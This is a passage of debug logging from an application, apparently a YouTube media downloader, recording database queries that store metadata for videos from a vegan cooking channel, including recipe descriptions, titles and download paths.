s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.021 [debug] QUERY OK source="media_items" db=2.6ms idle=22.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-07 00:00:00Z], 1] 20:31:08.024 [debug] QUERY OK source="media_items" db=1.9ms idle=24.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we're making 3 healthy vegan breakfast ideas for fall, plus they're all gluten-free! It’s the perfect time of year for the quintessential fall flavours like pumpkin spice, apple cinnamon and chocolate orange. Lucky for you I’ve got an easy, cozy and festive breakfast recipe for each of these fall flavours! \n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nPUMPKIN SPICE GRANOLA\n3 cups rolled oats\n½ cup almond flour\n1 cup chopped nuts (pecans, walnuts, cashews)\n¼ cup pumpkin puree\n¼ cup maple syrup/date syrup\n2 tbsp granulated sweetener\n1½ tsp vanilla extract\n2 tsp pumpkin pie spice blend\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the pumpkin puree, maple syrup, granulated sweetener, vanilla and pumpkin pie spice blend and whisk until it’s well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped nuts and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!\n\nCRANBERRY APPLE CINNAMON SCONES\nApple Cinnamon Filling\n1 large apple\n2 tbsp vegan butter\n2 tbsp coconut sugar/brown sugar\n¼ tsp cinnamon\nPinch nutmeg\nPinch cardamom\n\nScones\n3 cups gluten-free flour blend\n½ tsp salt\n½ tsp baking soda\n1 tbsp baking powder\n¼ cup unsweetened apple sauce\n¼ cup yogurt\n1 flax egg (1 tbsp ground flaxseed + 3 tbsp water, let sit 10 mins)\n1 cup soy milk + 2 tsp lemon juice\n½ tsp vanilla\n½ cup dried cranberries, soaked in hot water 10 mins (sub raisins if you want)\n\nTopping\n¼ cup maple syrup/date syrup\n¼ cup plant milk\nCinnamon, nutmeg, cardamom\n½ cup Chopped pecans\n\n1. APPLE FILLING: Chop the apple into small pieces. Heat the vegan butter in a saucepan and add the apple, coconut/brown sugar and spices and mix to combine. Bring to a simmer and cook on medium-low heat for 10 minutes until the apples have softened and shrunken in size, and have become golden in colour. Remove from the heat and let cool until just warm.\n2. Make the ‘buttermilk’ by combining the soy milk and lemon juice and allow it to ‘curdle’ for 5 to 10 minutes or so until thick in appearance.\n3. In a large mixing bowl whisk to combine the flour, baking soda + powder, and salt. Set aside for a few minutes and preheat the oven to 350°F.\n4. In a separate mixing bowl whisk to combine the buttermilk, apple sauce, vegan yogurt, flax ‘egg’, vanilla, and the syrupy juices from the stewed apples (just strain the apples over the bowl of wet mix).\n5. Create a well in the centre of the flour mix and pour in the wet mixture, then using a spatula or wooden spoon fold the ingredients together until it has almost formed a very thick, sticky dough. Fold in the soaked cranberries and stewed apples until they’re well incorporated into the dough.\n6. Transfer the dough onto a well-floured surface. Sprinkle extra flour on top and place a sheet of parchment over the dough. Using your hands gently press and form the dough into a flatter, round mound of dough. Carefully remove the parchment and with floured hands smooth out the dough into a circle about 1.5” thick. Cut the dough into 8 equal triangles and transfer them, using a flipper, onto a parchment lined baking tray.\n7. Brush the tops of the scones with melted vegan butter or margarine and bake for 22-24 minutes until they’ve risen significantly and are golden in colour. Transfer scones to a cooling rack.\n8. While the scones are baking, make the maple pecan topping. Chop the pecans and melt the vegan butter in a saucepan. Add the maple syrup, plant milk, and spices and whisk to combine. " <> ..., "Cozy & Healthy Vegan Breakfast Ideas For Fall (Gluten-Free!)", "7b7e3854-5a97-450d-b3d4-d4c850142fab", 1, [], false, "5xfWlsByEo4", "https://www.youtube.com/watch?v=5xfWlsByEo4", 260, "/downloads/downloads/alec/Steamy Vegan/2023-10-07 Cozy & Healthy Vegan Breakfast Ideas For Fall (Gluten-Free!)/Cozy & Healthy Vegan Breakfast Ideas For Fall (Gluten-Free!) [5xfWlsByEo4].NA", false, false, false, 1, ~U[2023-10-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video we're making 3 healthy vegan breakfast ideas for fall, plus they're all gluten-free! It’s the perfect time of year for the quintessential fall flavours like pumpkin spice, apple cinnamon and chocolate orange. Lucky for you I’ve got an easy, cozy and festive breakfast recipe for each of these fall flavours! \n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nPUMPKIN SPICE GRANOLA\n3 cups rolled oats\n½ cup almond flour\n1 cup chopped nuts (pecans, walnuts, cashews)\n¼ cup pumpkin puree\n¼ cup maple syrup/date syrup\n2 tbsp granulated sweetener\n1½ tsp vanilla extract\n2 tsp pumpkin pie spice blend\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the pumpkin puree, maple syrup, granulated sweetener, vanilla and pumpkin pie spice blend and whisk until it’s well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped nuts and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!\n\nCRANBERRY APPLE CINNAMON SCONES\nApple Cinnamon Filling\n1 large apple\n2 tbsp vegan butter\n2 tbsp coconut sugar/brown sugar\n¼ tsp cinnamon\nPinch nutmeg\nPinch cardamom\n\nScones\n3 cups gluten-free flour blend\n½ tsp salt\n½ tsp baking soda\n1 tbsp baking powder\n¼ cup unsweetened apple sauce\n¼ cup yogurt\n1 flax egg (1 tbsp ground flaxseed + 3 tbsp water, let sit 10 mins)\n1 cup soy milk + 2 tsp lemon juice\n½ tsp vanilla\n½ cup dried cranberries, soaked in hot water 10 mins (sub raisins if you want)\n\nTopping\n¼ cup maple syrup/date syrup\n¼ cup plant milk\nCinnamon, nutmeg, cardamom\n½ cup Chopped pecans\n\n1. APPLE FILLING: Chop the apple into small pieces. Heat the vegan butter in a saucepan and add the apple, coconut/brown sugar and spices and mix to combine. Bring to a simmer and cook on medium-low heat for 10 minutes until the apples have softened and shrunken in size, and have become golden in colour. Remove from the heat and let cool until just warm.\n2. Ma (truncated) 20:31:08.025 [debug] QUERY OK source="sources" db=1.0ms idle=23.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.027 [debug] QUERY OK source="media_items" db=1.8ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-04 00:00:00Z], 1] 20:31:08.029 [debug] QUERY OK source="media_items" db=1.5ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It is the BEST time of year to have cozy soups, stews and curries! They warm the soul and warm the heart and today I’m showing you one of each, and the best part? They’re all easy one pot vegan recipes!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\n\nBUTTERNUT SQUASH & APPLE SOUP\n1 butternut squash, peeled and cubed\n4 carrots, sliced into coins\n1 onion, diced\n1 apple, diced (leave skin on)\n4 cloves garlic, minced\n1 cup dried red lentils\n4 cups veggie broth\n2 cups water (or more veg broth)\n1 can coconut milk\n1 tbsp dried sage or 3 fresh (minced)\n2 tsp dried rosemary or 1 tbsp fresh (minced)\nSalt and pepper to taste\n\n1. Warm up 1 tbsp of oil or ¼ cup water and sauté the onion, garlic and herbs for 3 minutes, until softened and fragrant. Add the carrots, butternut squash, apple, lentils, veggie broth, water and coconut milk. Stir to combine, cover and bring to a boil.\n2. Once the soup is boiling lower the heat to medium-low and simmer for 20 minutes, or until the squash and carrots are fork-tender and the lentils have cooked through.\n3. Turn off the heat, add salt and pepper to taste, and using an immersion blender, blend the soup until it’s a smooth puréed consistency, it should be very creamy. Alternatively, if you don’t have an immersion blender you can ladle half the soup at a time into a blender and blend until smooth, then pour back into the pot.\n4. Ladle the soup into bowls, and if you like, top with a dollop of vegan sour cream or yogurt, fresh herbs and a drizzle of balsamic vinegar and enjoy!\n\nKABOCHA SQUASH & DUMPLING STEW\n½ a large kobocha squash, or 5 cups, cubed\n1 can white beans, drained and rinsed\n1 cup red lentils\n1 yellow onion, diced\n5 garlic cloves, minced\n⅓ cup dry quinoa\n4 cups veggie broth*\n2 cups water\n1 cup frozen peas\n1 tbsp chili powder\n1 tsp dried parsley\n1 tsp dried thyme\n2 bay leaves\n1 tsp salt\n1 tbsp ketchup\n1 tbsp balsamic vinegar\n¼ cup nutritional yeast\n\nDumplings\n2 cups gluten-free flour\n1 tsp xanthan gum, omit if your gluten free flour already has xanthan gum in it\n1 ½ tsp baking powder\n½ tsp salt\n1 flax egg (1 tbsp ground flax seed + 3 tbsp water, let sit 10 minutes)\n⅔ cup unsweeetened plant milk (I used soy)\n\n1. Warm up 1 tbsp of oil or ¼ cup water and sauté the onion and garlic for 3 minutes, until softened and fragrant. Add the cubed kabocha squash, white beans, red lentils, quinoa, bay leaves, veggie broth and water. Stir to combine and bring to a boil.\n2. While the stew comes to a boil, make the dumpling batter. In a mixing bowl, combine the flour, baking powder and salt until well incorporated. Then pour in the milk and flax egg and stir until a thick, pasty batter has formed. If it’s too dry, add ½ cup of water at a time until desired texture is reached. Set aside for a few minutes.\n3. Once the stew is boiling lower the heat to medium-low, then add the frozen peas, chili powder, parsley, thyme, salt, ketchup and balsamic vinegar and nooch, stirring to combine. Continue cooking covered for 20 minutes, stirring occasionally, until the quinoa and lentils are cooked through.\n4. After stirring the stew once or twice, you’ll then add the drop dumplings when the stew is about 8 minutes away from being cooked. Using a tablespoon, drop 2-tbsp sized dollops of batter directly into the stew until no more batter remains. They should be mostly submerged in the liquid. You can use the spoon to help gently push them under the liquid if needed. Cover and let them cook undisturbed for the remaining 8 minutes of cook time.\n5. Dish out into bowls and serve hot, enjoy!\n* I prefer a more ‘Chili-like’ consistency to this stew with less broth, but if you like your stews more brothy increase the amount of veggie broth in this recipe to 6 cups, or the water from 2 cups to 4 cups.*\n\n\nPUMPKIN THAI RED CURRY\n4 cups sugar/pie pumpkin, cubed with skins on (1 small pie pumpkin or half a larger one)\n1 can coconut milk\n½ cup pumpkin puree\n1 medium onion, diced\n4 cloves garlic, minced\n1 cup tomato sauce (or half a can of tomato paste mixed with water)\n2 tbsp Thai red curry paste\n1 can" <> ..., "COZY & Cheap ONE POT Vegan Recipes that Warm the Soul!", "7b7d9046-0c56-454c-acc4-f36837f7e31b", 1, [], false, "PQVTK7Uf8-c", "https://www.youtube.com/watch?v=PQVTK7Uf8-c", 261, "/downloads/downloads/alec/Steamy Vegan/2023-10-04 COZY & Cheap ONE POT Vegan Recipes that Warm the Soul!/COZY & Cheap ONE POT Vegan Recipes that Warm the Soul! [PQVTK7Uf8-c].NA", false, false, false, 1, ~U[2023-10-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "It is the BEST time of year to have cozy soups, stews and curries! They warm the soul and warm the heart and today I’m showing you one of each, and the best part? They’re all easy one pot vegan recipes!\n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\n\nBUTTERNUT SQUASH & APPLE SOUP\n1 butternut squash, peeled and cubed\n4 carrots, sliced into coins\n1 onion, diced\n1 apple, diced (leave skin on)\n4 cloves garlic, minced\n1 cup dried red lentils\n4 cups veggie broth\n2 cups water (or more veg broth)\n1 can coconut milk\n1 tbsp dried sage or 3 fresh (minced)\n2 tsp dried rosemary or 1 tbsp fresh (minced)\nSalt and pepper to taste\n\n1. Warm up 1 tbsp of oil or ¼ cup water and sauté the onion, garlic and herbs for 3 minutes, until softened and fragrant. Add the carrots, butternut squash, apple, lentils, veggie broth, water and coconut milk. Stir to combine, cover and bring to a boil.\n2. Once the soup is boiling lower the heat to medium-low and simmer for 20 minutes, or until the squash and carrots are fork-tender and the lentils have cooked through.\n3. Turn off the heat, add salt and pepper to taste, and using an immersion blender, blend the soup until it’s a smooth puréed consistency, it should be very creamy. Alternatively, if you don’t have an immersion blender you can ladle half the soup at a time into a blender and blend until smooth, then pour back into the pot.\n4. Ladle the soup into bowls, and if you like, top with a dollop of vegan sour cream or yogurt, fresh herbs and a drizzle of balsamic vinegar and enjoy!\n\nKABOCHA SQUASH & DUMPLING STEW\n½ a large kobocha squash, or 5 cups, cubed\n1 can white beans, drained and rinsed\n1 cup red lentils\n1 yellow onion, diced\n5 garlic cloves, minced\n⅓ cup dry quinoa\n4 cups veggie broth*\n2 cups water\n1 cup frozen peas\n1 tbsp chili powder\n1 tsp dried parsley\n1 tsp dried thyme\n2 bay leaves\n1 tsp salt\n1 tbsp ketchup\n1 tbsp balsamic vinegar\n¼ cup nutritional yeast\n\nDumplings\n2 cups gluten-free flour\n1 tsp xanthan gum, omit if your gluten free flour already has xanthan gum in it\n1 ½ tsp baking powder\n½ tsp salt\n1 flax egg (1 tbsp ground flax seed + 3 tbsp water, let sit 10 minutes)\n⅔ cup unsweeetened plant milk (I used soy)\n\n1. Warm up 1 tbsp of oil or ¼ cup water and sauté the onion and garlic for 3 minutes, until softened and fragrant. Add the cubed kabocha squash, white beans, red lentils, quinoa, bay leaves, veggie broth and water. Stir to combine and bring to a boil.\n2. While the stew comes to a boil, make the dumpling bat (truncated) 20:31:08.030 [debug] QUERY OK source="sources" db=0.6ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.032 [debug] QUERY OK source="media_items" db=1.5ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-01 00:00:00Z], 1] 20:31:08.033 [debug] QUERY OK source="media_items" db=0.8ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan and gluten free Costco fall grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $307 CAD / $227 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other grocery haul video from REAL CANADIAN SUPERSTORE ⬇️ @realcanadiansuperstore6355 \n\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0/\u00A0Whole\u00A0Foods\u00A0Plant\u00A0Bas...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds", "9e9f8037-dcdd-442c-b78c-80c94222397a", 1, [], false, "GPNN8qDsO8M", "https://www.youtube.com/watch?v=GPNN8qDsO8M", 262, "/downloads/downloads/alec/Steamy Vegan/2023-10-01 COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds/COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds [GPNN8qDsO8M].NA", false, false, false, 1, ~U[2023-10-01 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this vegan and gluten free Costco fall grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $307 CAD / $227 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other grocery haul video from REAL CANADIAN SUPERSTORE ⬇️ @realcanadiansuperstore6355 \n\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0/\u00A0Whole\u00A0Foods\u00A0Plant\u00A0Bas...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds", 1, nil, false, "GPNN8qDsO8M", "https://www.youtube.com/watch?v=GPNN8qDsO8M", "/downloads/downloads/alec/Steamy Vegan/2023-10-01 COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds/COSTCO FALL GROCERY HAUL! Vegan & Gluten-Free Finds [GPNN8qDsO8M].NA", false, ~U[2023-10-01 00:00:00Z]] 20:31:08.034 [debug] QUERY OK source="sources" db=0.6ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.037 [debug] QUERY OK source="media_items" db=1.8ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-29 00:00:00Z], 1] 20:31:08.039 [debug] QUERY OK source="media_items" db=1.3ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin Cornbread combines the warm, sweet spices of pumpkin spice with the hearty and savoury comfort of cornbread. It is literally the best thing since sliced bread and YOU NEED TO MAKE IT! 🎃🍂🧡🍁 This Pumpkin Cornbread is both vegan AND gluten-free, has no refined sugars or oils, and is on the table in under an hour. \n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nPUMPKIN CORNBREAD RECIPE ON STEAMYVEGAN.COM ⬇️\nhttps://steamyvegan.com/pumpkin-cornb...\n\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\nVega Protein Powder\nhttps://amzn.to/4748ugm\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\nCanon M50 Camera\nhttps://amzn.to/3OySITz\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nTAGS\nwhat i eat in a day, vegan, plant based,fall vlog, fall day in my life, fall productive vlog, ultimate fall vlog, cozy fall vlog,day in my life, productive day in my life, vlog, lifestyle youtuber, cooking vlog, cook with me,early autumn vlog,homeade pumpkin spice latte, autumn vlog, cozy autumn vlog, vegan autumn recipes, vegan what I eat in a day, what I eat in a day vegan, gluten free vegan,gluten free recipes, cozy fall recipes, fall baking, pumpkin bread, cornbread, vegan cornbread, pumpkin spice, pumpkin spice everything,PSL, pumpkin spice smoothie, roasted pumpkin seeds, healthy fall recipes", "How to Make PUMPKIN CORNBREAD (Vegan & Gluten-Free)", "f1891345-3b3f-4c6a-99ae-40a2d022c38a", 1, [], false, "bBgHit7IghQ", "https://www.youtube.com/watch?v=bBgHit7IghQ", 263, "/downloads/downloads/alec/Steamy Vegan/2023-09-29 How to Make PUMPKIN CORNBREAD (Vegan & Gluten-Free)/How to Make PUMPKIN CORNBREAD (Vegan & Gluten-Free) [bBgHit7IghQ].NA", false, false, false, 1, ~U[2023-09-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Pumpkin Cornbread combines the warm, sweet spices of pumpkin spice with the hearty and savoury comfort of cornbread. It is literally the best thing since sliced bread and YOU NEED TO MAKE IT! 🎃🍂🧡🍁 This Pumpkin Cornbread is both vegan AND gluten-free, has no refined sugars or oils, and is on the table in under an hour. \n\nCHECK OUT MY ‘FALL RECIPES’ PLAYLIST! 🎃🍂🍁🧡 \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nPUMPKIN CORNBREAD RECIPE ON STEAMYVEGAN.COM ⬇️\nhttps://steamyvegan.com/pumpkin-cornb...\n\n\nMORE FALL RECIPES ⬇️\nHow to Make Pumpkin Purée ➡️ \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Pumpkin\u00A0Puree!\u00A0🎃\u00A0Secret\u00A0ingredien...\u00A0\u00A0\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ 